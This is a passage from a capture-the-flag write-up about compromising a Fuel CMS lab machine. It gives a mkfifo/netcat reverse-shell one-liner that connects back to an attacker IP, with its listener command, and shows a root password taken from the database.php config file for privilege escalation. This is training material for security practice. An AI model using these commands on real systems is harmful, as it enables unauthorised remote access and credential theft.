![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbIV69FV3ExOZ0ldW9J%2F-MbIXh0z4R5qRKSCoYV-%2Fimage.png?alt=media\&token=06803086-b2d7-4eb4-9740-907304676421)

We have remote code execution, now we can run commands from the victim machine. Lets run a reverse shell command to get a shell on the machine. We can find a reverse shell [here](http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet).

```
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.13.8.64 1234 >/tmp/f
```

Make sure to change the IP and start a netcat listener.

```
nc -lvnp 1234
```

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbIV69FV3ExOZ0ldW9J%2F-MbIYByUeoEK8ic9_lD1%2Fimage.png?alt=media\&token=22c7e1bd-08fa-4dc6-9c29-f0d334656e75)

Before running the command, lets remove all the unnecessary code in the exploit so that we do not get any errors if something that is not of our concern does not work.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbIV69FV3ExOZ0ldW9J%2F-MbI_xow0jfcYUXEhH_z%2Fimage.png?alt=media\&token=2401f41a-74b0-48ca-a6b0-8c985a74da4e)

Now lets run the command and run the reverse shell command, we get a shell.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbIV69FV3ExOZ0ldW9J%2F-MbIaA4wAAi4ri0hoO3e%2Fimage.png?alt=media\&token=5df007ea-e919-4549-bbb8-4ad1b2abe3dc)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbIV69FV3ExOZ0ldW9J%2F-MbIaFPAETclFTyV9yTY%2Fimage.png?alt=media\&token=655cf20b-9eb0-4bac-9d7e-8fcfd4fa302e)

Now we can read the `flag.txt` file.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbIV69FV3ExOZ0ldW9J%2F-MbIaiwriFc-kgp7UbLx%2Fimage.png?alt=media\&token=ee80e9cb-c881-4d6c-94cc-532915d56037)

## Privilege Escalation

After looking around for a while, I went into the `/var/www/html/fuel/application/config` directory as config files are always interesting. One file that looked very interesting to me was the `database.php` file as I thought that I can find usernames and password in it.

```
cat database.php
```

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbIV69FV3ExOZ0ldW9J%2F-MbIbgZjFAGoHBVOiK9l%2Fimage.png?alt=media\&token=80be1bcb-d95d-4201-bb98-e79afdd651b2)

And I did find the root password.

Now time to switch users to root.

```
su root
```

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbIV69FV3ExOZ0ldW9J%2F-MbIbsQNoYM12voH3U7g%2Fimage.png?alt=media\&token=ba77d468-ee8e-42ce-a453-da7fb5077bf9)

And we are now root, we can go read the root.txt flag.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbIV69FV3ExOZ0ldW9J%2F-MbIc0dLsbfKvwew5t3D%2Fimage.png?alt=media\&token=637f8d4e-70df-44b1-b727-84e3826f7b92)




---

[Next Page](/llms-full.txt/1)

